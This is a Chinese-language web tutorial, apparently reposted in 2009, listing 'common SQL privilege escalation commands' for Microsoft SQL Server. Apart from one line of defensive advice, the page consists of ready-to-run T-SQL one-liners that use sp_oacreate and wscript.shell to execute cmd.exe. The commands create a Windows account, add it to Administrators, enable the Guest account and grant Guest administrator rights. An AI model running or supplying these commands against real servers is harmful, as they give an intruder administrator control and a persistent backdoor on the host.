繁體中文当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL 提权 常用命令
- MSSQL
- 实现按部门月卡余额总额分组统计的SQL查询代码
- 浅议Oracle中的进制转换
- sqlserver MSDTC的设置要点
- 小议主子表INT自增主键插入记录的方法
- 使用SQLSERVER的扩展存储过程实现远程备份与恢复
- SQL安装问题总结
- 使用XML封装数据库操作语句的实现
- SQL Server与Excel数据互导
- 查询sql遇到deadlock问题的解决
- 解决sqlsever日志备份错误的方法
- 关于sql数据库维护失败的问题查找方法
- 跟日期有关的两条经典SQL语句
- 使用链接服务器执行远程数据库上的存储过程
- select用存储过程返回的表
- SQL SERVER与ACCESS、EXCEL的数据转换
- 榨干MS SQL Server 最后一滴血
- SQL Server 2005: 利用新的ranking函数实现高效的数据分页操作
- 在SQL Server 中使用SQLDMO
- SQL Server补丁版本的检查和安装过程中常见问题
- SQL高手篇:精妙SQL语句介绍
MSSQL 中的 SQL 提权 常用命令
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 95 ::
收藏到网摘: n/a
SQL 提权 常用命令，大家可以考虑下将sqlserver的服务运行权限设置为普通用户，即可防止下面的提权。 1、连接数据库
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
关于防范方法，可以参考软晨学习网服务器安全设置栏目。
评论 (0) All
